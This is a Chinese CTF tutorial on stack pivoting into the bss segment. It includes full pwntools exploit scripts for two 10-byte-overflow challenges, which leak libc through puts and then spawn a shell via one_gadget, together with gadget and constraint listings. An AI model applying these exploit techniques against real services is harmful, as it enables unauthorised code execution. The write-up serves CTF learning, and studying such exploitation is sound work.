栈迁移详解

逆向病毒分析 1年前 (2023) admin
437 0 0

栈迁移详解

栈迁移

  • 将ebp转移到bss或data段,在bss段或data段构造gadget然后在这里执行

栈迁移详解

  • leave相当于mov esp,ebp pop ebp;

  • ret相当于pop eip;

  • mov esp,ebp 让esp指向ebp的地址

  • pop ebp 把栈顶的值弹到ebp寄存器里,此时ebp就指向了fake ebp1

栈迁移详解

如果在fake ebp1处写入fake ebp2的地址,然后再来一步leave就可以让ebp指向fake ebp2

遇到的一些问题

上述的解释比较简洁但是利用起来还是会遇到很多问题

  • 比如为什么要利用两次leave ret使得栈转移到bss段里

  • 为什么要在fake ebp1的地址上写入bss+0x10的地址

  • 还有就是网上的大部分例题都是同一个,溢出的空间都挺大的,如果只能溢出10字节怎么做

下面我用一个例题来说一下我自己的详细理解

vnctf2023 traveler

ida

栈迁移详解

栈迁移详解

栈迁移详解

栈迁移详解


这个函数我不知道怎么利用,这里用栈迁移来做一下这个题

思路

前面定义的
bss=elf.bss()
bss4=bss+0x400
bss6=bss+0x600

def duan():
gdb.attach(io)
pause()

第一次尝试栈迁移,先把pre rbp改成bss然后返回函数改成read的地址(0x401216)(如下图)

栈迁移详解


然后程序开始在0x401216处开始执行

栈迁移详解


之后会继续执行puts和read,recv和send一下

payload=cyclic(0x20)+p64(bss4)+p64(read)
io.send(payload)
io.recvuntil(b'his life?n')
io.sendline(b'k')
  • 然后第一次leave把rsp移动到rbp,然后把rbp pop到bss段

  • 只不过这时的rsp还在原来的栈上,然后ret返回父函数

  • 这时候返回的父函数是原来的read函数,ret之前调用的一系列函数是用溢出调用的

  • 然后第二次leave把rsp移动到rbp,此时应该rsp也迁移到bss段,所以就可以控制bss段了

    payload=cyclic(0x20)+p64(bss4+0x20)+p64(read)
    io.send(payload)
    io.recvuntil(b'his life?n')
    io.sendline(b'k')

然后先在第一处fake ebp1填入稍远处的地址,这里一般是bss+0x10就够(这里说明一下为什么要怎么写,这是为了最后的leave ret把rbp pop到新的地址,然后我们之前构造的ROP链就变成了父函数,ret完之后就可以调用ROP链函数)

payload=p64(bss4+0x20+10)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.send(payload)
  • 利用puts泄露出来的libc的基地址然后返回main函数

  • 其实这时候的main函数和我们一开始进入的不太一样,这是在bss段里调用的main函数

  • 然后重复最开始的两次栈迁移(leave ret)

  • 在bss另一段上构造ROP链,利用同样的方式去getshell

  • 可以利用one_gadget

  • 然后利用one_gadget只需要在发送最后的payload之前去看一下各个寄存器的情况,然后再ROP链中构造对应的条件就可以

栈迁移详解

#1.stack pivoting
payload=cyclic(0x20)+p64(bss6)+p64(read)
io.send(payload)
io.recvuntil(b'his life?n')
io.sendline(b'k')

#2.stack pivoting
payload=cyclic(0x20)+p64(bss6+0x20)+p64(read)
io.send(payload)
io.recvuntil(b'his life?n')
io.sendline(b'k')
#duan()

#write bss6+0x20
payload=p64(bss6+0x30)+p64(r12)+p64(0)+p64(og)
io.send(payload)

exp

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

io=process('./traveler')

elf=ELF('./traveler')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

def duan():
gdb.attach(io)
pause()

#address
read=0x401216
main=0x4011f4

rdi=0x4012c3
rsi_r15=0x4012c1

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

bss=elf.bss()
bss4=bss+0x400
bss6=bss+0x600

#process
#1.stack pivoting
io.recvuntil(b'r u?n')
payload=cyclic(0x20)+p64(bss4)+p64(read)
io.send(payload)
io.recvuntil(b'his life?n')
io.sendline(b'k')

#2.stack pivoting
#io.recvuntil(b'r u?n')
payload=cyclic(0x20)+p64(bss4+0x20)+p64(read)
io.send(payload)
io.recvuntil(b'his life?n')
io.sendline(b'k')

#write bss4+0x20
payload=p64(bss4+0x30)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.send(payload)

puts_addr=u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))

libc_base=puts_addr-libc.symbols['puts']
print(hex(libc_base))


#libc-ROP
rdi=libc_base+libc.search(asm('pop rdi;ret;')).__next__()
r12=libc_base+libc.search(asm('pop r12;ret;')).__next__()
#one_gadgets
ogs=[0xe3afe,0xe3b01,0xe3b04]
og=libc_base+ogs[0]


#1.stack pivoting
payload=cyclic(0x20)+p64(bss6)+p64(read)
io.send(payload)
io.recvuntil(b'his life?n')
io.sendline(b'k')

#2.stack pivoting
payload=cyclic(0x20)+p64(bss6+0x20)+p64(read)
io.send(payload)
io.recvuntil(b'his life?n')
io.sendline(b'k')

#duan()

#write bss6+0x20
payload=p64(bss6+0x30)+p64(r12)+p64(0)+p64(og)
io.send(payload)

io.interactive()




'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''



'''
0x00000000004012bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012be : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012c0 : pop r14 ; pop r15 ; ret
0x00000000004012c2 : pop r15 ; ret
0x00000000004012bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012bf : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040117d : pop rbp ; ret
0x00000000004012c3 : pop rdi ; ret
0x00000000004012c1 : pop rsi ; pop r15 ; ret
0x00000000004012bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
'''

总结

学会了这种10字节溢出题目
那么很多栈溢出题都可以用这种方法解决

新春杯mg

ida

栈迁移详解


这个也是10字节溢出,不过比较简单

exp

from pwn import *
#from LibcSearcher import *
context(os="linux",arch="amd64",log_level='debug')

elf=ELF("./pwn3")

libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

io=process("./pwn3")
#io=remote('39.99.242.16',1002)

def duan():
gdb.attach(io)
pause()

puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']

main=0x4011db
leave_ret=0x401214
read=0x4011FD
#bss=elf.bss()+0x500
bss=0x404000+0x500
rdi=0x401283
main=0x4011db

io.recv()
pay=b'a'*0x20+p64(bss)+p64(0x4011FD)
io.send(pay)

pay1=b'a'*0x20+p64(bss+0x20)+p64(0x4011FD)
io.send(pay1)

pay2=p64(bss+0x30)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
#duan()
io.send(pay2)


puts_addr=u64(io.recvuntil(b"x7f")[-6:].ljust(8,b'x00'))
libc_base=puts_addr-libc.symbols['puts']
print(hex(libc_base))
#puts_addr=u64(r.recv(6)+b'x00'*2)
#libc_base=put_addr-libc.symbols['puts']

ogs = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base+ogs[0]

r12=libc_base+libc.search(asm('pop r12;ret;')).__next__()

io.recv()
pay3=b'a'*0x20+p64(bss+0x100)+p64(0x4011fd)
io.send(pay3)

pay4=b'a'*0x20+p64(bss+0x120)+p64(0x4011fd)
io.send(pay4)

payload=p64(bss+0x130)+p64(r12)+p64(0)+p64(og)
io.send(payload)

io.interactive()





'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''


'''
0x000000000040127c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040127e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401280 : pop r14 ; pop r15 ; ret
0x0000000000401282 : pop r15 ; ret
0x000000000040127b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040127f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040115d : pop rbp ; ret
0x0000000000401283 : pop rdi ; ret
0x0000000000401281 : pop rsi ; pop r15 ; ret
0x000000000040127d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
'''

参考

栈平衡和栈迁移
PWN!栈迁移原理

来源先知社区的【F4atherw1t 师傅

注:如有侵权请联系删除

栈迁移详解

 

如需进群进行技术交流,请扫该二维码

栈迁移详解




原文始发于微信公众号(衡阳信安):栈迁移详解

版权声明:admin 发表于 2023年2月25日 上午8:41。
转载请注明:栈迁移详解 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...